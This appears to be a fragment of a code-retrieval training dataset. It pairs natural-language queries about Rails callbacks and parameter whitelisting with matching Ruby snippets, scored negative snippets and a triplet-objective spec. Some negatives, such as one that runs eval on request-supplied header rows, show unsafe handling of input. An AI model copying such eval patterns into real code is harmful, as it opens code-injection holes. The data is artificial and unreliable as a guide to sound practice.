"0.47878543",
"0.4787029",
"0.47858736",
"0.47851136",
"0.47642562",
"0.4763274",
"0.4760092",
"0.4759019",
"0.4754312",
"0.47534218",
"0.47532377",
"0.47481385",
"0.47354934",
"0.47174227",
"0.47104567",
"0.4706429",
"0.47043443",
"0.46813983",
"0.46779585",
"0.4670926",
"0.46623948",
"0.46607873",
"0.46583852",
"0.46562305",
"0.465514",
"0.46545842",
"0.46486154",
"0.46421468",
"0.46414065",
"0.46347585",
"0.4632602",
"0.46318185",
"0.46318185",
"0.4630218",
"0.46300232",
"0.46288082",
"0.46281928",
"0.4626606",
"0.46254385",
"0.46247858",
"0.46235645",
"0.4616818",
"0.46146291",
"0.46098492",
"0.46083975",
"0.4607037",
"0.46068034"
] |
0.0
|
-1
|
Use callbacks to share common setup or constraints between actions.
|
def set_unit_of_measure
@unit_of_measure = UnitOfMeasure.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Only allow a trusted parameter "white list" through.
|
def unit_of_measure_params
params.require(:unit_of_measure).permit(:unit_id, :unit_description, :unit_status, :created_by, :updated_by)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def allowed_params\n ALLOWED_PARAMS\n end",
"def expected_permitted_parameter_names; end",
"def param_whitelist\n [:role, :title]\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def permitted_params\n []\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def filtered_parameters; end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def valid_params?; end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def filter_parameters; end",
"def filter_parameters; end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def check_params; true; end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def list_params\n params.permit(:name)\n end",
"def check_params\n true\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def additional_permitted_params\n []\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end",
"def allow_params_authentication!; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end",
"def quote_params\n params.permit!\n end",
"def list_params\n params.permit(:list_name)\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def all_params; end",
"def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end",
"def source_params\n params.require(:source).permit(all_allowed_params)\n end",
"def user_params\n end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end",
"def permitted_params\n @wfd_edit_parameters\n end",
"def user_params\r\n end",
"def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def params_permit\n params.permit(:id)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def filter_params\n params.permit(*resource_filter_permitted_params)\n end",
"def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end",
"def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend",
"def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def argument_params\n params.require(:argument).permit(:name)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def parameters\n nil\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end",
"def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end",
"def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end"
] |
[
"0.7121987",
"0.70541996",
"0.69483954",
"0.6902367",
"0.6733912",
"0.6717838",
"0.6687021",
"0.6676254",
"0.66612333",
"0.6555296",
"0.6527056",
"0.6456324",
"0.6450841",
"0.6450127",
"0.6447226",
"0.6434961",
"0.64121825",
"0.64121825",
"0.63913447",
"0.63804525",
"0.63804525",
"0.6373396",
"0.6360051",
"0.6355191",
"0.62856233",
"0.627813",
"0.62451434",
"0.6228103",
"0.6224965",
"0.6222941",
"0.6210244",
"0.62077755",
"0.61762565",
"0.61711127",
"0.6168448",
"0.6160164",
"0.61446255",
"0.6134175",
"0.6120522",
"0.6106709",
"0.60981655",
"0.6076113",
"0.60534036",
"0.60410434",
"0.6034582",
"0.6029977",
"0.6019861",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.60184896",
"0.60157263",
"0.6005857",
"0.6003803",
"0.60012573",
"0.59955895",
"0.5994598",
"0.5993604",
"0.5983824",
"0.5983166",
"0.5977431",
"0.597591",
"0.5968824",
"0.5965953",
"0.59647584",
"0.59647584",
"0.59566855",
"0.59506303",
"0.5950375",
"0.59485626",
"0.59440875",
"0.5930872",
"0.5930206",
"0.5925668",
"0.59235454",
"0.5917905",
"0.59164816",
"0.5913821",
"0.59128743",
"0.5906617",
"0.59053683",
"0.59052664",
"0.5901591",
"0.58987755",
"0.5897456",
"0.58970183",
"0.58942604"
] |
0.0
|
-1
|
Performs multiple GETs with varying positions to ensure all results are returned.
|
def get_with_size_and_position path, opts = {}
size = opts[:size] || 200
position = opts[:position] || 0
results = []
loop do
params = { size: size, position: position }.merge(opts)
new_results = get(path, params)
results += new_results
break if new_results.length < size
position += size
end
results
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_multiple(end_point, req_number, params = nil)\n switch_concurrent_connection\n responses = []\n connection.in_parallel do\n req_number.times do |n_req|\n responses << connection.get do |req|\n req.url end_point\n req.headers['Authentication'] = ENV['API_KEY'] unless ENV['API_KEY'].nil?\n req.headers['Cookie'] = cookie\n req.params = params unless params.nil?\n end\n end\n end\n responses\n end",
"def all(params = {})\n Iterable.request(conf, base_path, params).get\n end",
"def test_get_multiple\n urls = []\n 10.times{ |i| urls << URI.join(@url, \"/echo/#{i}\") }\n ret = Bixby::APIPool.get(urls, \"test\")\n\n assert ret\n assert_kind_of Array, ret\n assert_equal 10, ret.size\n\n 10.times do |i|\n assert_equal \"echo #{i}\", ret[i].body\n end\n end",
"def test_sitemap_geos_and_queries\n geos = ['ca', 'co', 'il', 'ny']\n\n geos.each do |loc|\n # Step 1\n params = {\n 'g' => loc,\n 'h_geos' => 0,\n 'h_queries' => 0\n }\n\n get '/site_map/geos_and_queries', params\n assert_response(@response, :success)\n assert_equal(0, @parsed_response['Geos']['NumFound'], @parsed_response)\n assert_equal(0, @parsed_response['Queries']['NumFound'], @parsed_response)\n\n # Step 2\n params = {\n 'g' => loc,\n 'h_geos' => 10,\n 'h_queries' => 30\n }\n\n get '/site_map/geos_and_queries', params\n assert_response(@response, :success)\n assert_equal(10, @parsed_response['Geos']['NumFound'], @parsed_response)\n assert_equal(30, @parsed_response['Queries']['NumFound'], @parsed_response)\n\n # Step 3\n params = {\n 'g' => loc,\n 'h_geos' => 50,\n 'h_queries' => 100\n }\n\n get '/site_map/geos_and_queries', params\n assert_response(@response, :success)\n assert_equal(50, @parsed_response['Geos']['NumFound'], @parsed_response)\n assert_equal(100, @parsed_response['Queries']['NumFound'], @parsed_response)\n\n # Step 4\n params = {\n 'g' => loc\n }\n\n get '/site_map/geos_and_queries', params\n assert_response(@response, :success)\n assert_equal(50, @parsed_response['Geos']['NumFound'], @parsed_response)\n assert_equal(50, @parsed_response['Queries']['NumFound'], @parsed_response)\n\n # Step 5\n params = {\n 'g' => loc,\n 'h_geos' => 100,\n 'h_queries' => 1000\n }\n\n get '/site_map/geos_and_queries', params\n assert_response(@response, :success)\n assert_equal(50, @parsed_response['Geos']['NumFound'], @parsed_response)\n assert_equal(100, @parsed_response['Queries']['NumFound'], @parsed_response)\n end\n end",
"def all\n api_get(path)\n end",
"def all(options = {})\n response = client.get(base_path, options)\n\n return parse(response) unless block_given?\n\n yield response\n end",
"def fetch_all(initial_url, item_key, opts = {})\n params = query_params(opts)\n url = initial_url + params\n\n unless opts[:page]\n next_page = url\n results = []\n\n loop do\n curr_page = JSON.parse(self[next_page].get)\n results += curr_page[item_key]\n break unless curr_page['next']\n next_page = curr_page['next'] + params\n end\n\n results\n else\n JSON.parse(self[url].get)[item_key]\n end\n end",
"def multiple_get_objects(requests, opts = {})\n @transporter.read(:POST, '/1/indexes/*/objects', { requests: requests }, opts)\n end",
"def fetch\n @results = []\n @http.start unless @http.started?\n @pairs.each do |pair|\n uri = URI(format(self.class.const_get(:ENDPOINT), pair))\n request = Net::HTTP::Get.new(uri)\n\n with_retry Net::HTTPBadResponse, JSON::ParserError do\n @results << [pair, JSON.parse(@http.request(request)&.body)]\n end\n end\n self\n end",
"def execute_bulk_requests\n begin\n @responses = Hash.new\n @headers = Hash.new\n @all_urls = Hash.new\n data = ActiveSupport::JSON.decode(params[:data])\n @detailed_results = data[\"detailed_results\"]\n num_threads = data[\"threads\"].to_i\n data[\"lines_to_send\"].threadify(num_threads) { |line|\n path = data[\"path\"].gsub(/XXXCHANGEMEXXX/, line)\n headers = data[\"headers\"].gsub(/XXXCHANGEMEXXX/, line)\n body = data[\"body\"].gsub(/XXXCHANGEMEXXX/, line)\n data.each do |key, value|\n if key.start_with?(\"replace_\") && !key.end_with?(\"_by\")\n path.gsub!(\"XXX#{value}XXX\",data[key + \"_by\"]) if data[key + \"_by\"] != \"\"\n headers.gsub!(\"XXX#{value}XXX\",data[key + \"_by\"]) if data[key + \"_by\"] != \"\"\n body.gsub!(\"XXX#{value}XXX\",data[key + \"_by\"]) if data[key + \"_by\"] != \"\"\n end\n end\n if @cloud\n if @cloud.api == \"Atmos\"\n @responses[line], @headers[line], @all_urls[line] = atmos_request(data[\"http_method\"], path, headers, body)\n elsif @cloud.api == \"Amazon\"\n @responses[line], @headers[line], @all_urls[line] = amazon_request(data[\"http_method\"], path, headers, body)\n elsif @cloud.api == \"Swift\"\n @responses[line], @headers[line], @all_urls[line] = swift_request(data[\"http_method\"], path, headers, body)\n end\n else\n url = path\n uri = URI.parse(url)\n headers_to_send = Hash.new\n headers.split(\"\\n\").each do |row|\n hash = eval(row)\n headers_to_send[hash.keys.first.downcase] = hash.values.first.to_s\n end\n @responses[line] = http_request(url, uri.port, data[\"http_method\"], headers_to_send, body)\n @headers[line] = headers_to_send\n end\n }\n rescue Exception => e\n @exception = e\n end\n respond_to do |format|\n format.js { render 'shared/execute_bulk_requests' }\n end\n end",
"def hit(uris)\n uris.map do |u|\n response =\n if u.kind_of? String\n Net::HTTP.get(URI.parse(u))\n else\n url = URI.parse(u[0])\n Net::HTTP.new(url.host, url.port).start {|h| h.request(u[1]) }\n end\n\n assert response, \"Didn't get a response: #{u}\"\n response\n end\nend",
"def fetch_apis_asynchronously \n threads = []\n threads << Thread.new { @resp1 = RestClient.get 'https://reqres.in/api/unknown' }\n threads << Thread.new { @resp2 = RestClient.get 'https://reqres.in/api/products' }\n threads.each { |thr| thr.join } \n end",
"def fetch_all(qps=DEFAULT_QUERIES_PER_SECOND)\n response = execute\n items = response['items']\n\n while response['current_page'] < response['total_pages']\n self.page = response['current_page'] + 1\n response = execute\n items = items + response['items']\n \n sleep(1.0/DEFAULT_QUERIES_PER_SECOND)\n end\n\n return items\n end",
"def fetch_many(ids, req_params = nil, eds_params = nil)\n req_params ||= params\n search_service.fetch_many(ids, req_params, eds_params)\n end",
"def multi_get(ids)\n result = CouchRest.post(SERVER.default_database.to_s +\n '/_all_docs?include_docs=true', :keys => ids)\n\n return result['rows'].collect { |row|\n row = row['doc'] if row['couchrest-type'].nil?\n\n if row and (class_name = row['couchrest-type'])\n eval(class_name.to_s).new(row) rescue row\n else\n row\n end\n }\n end",
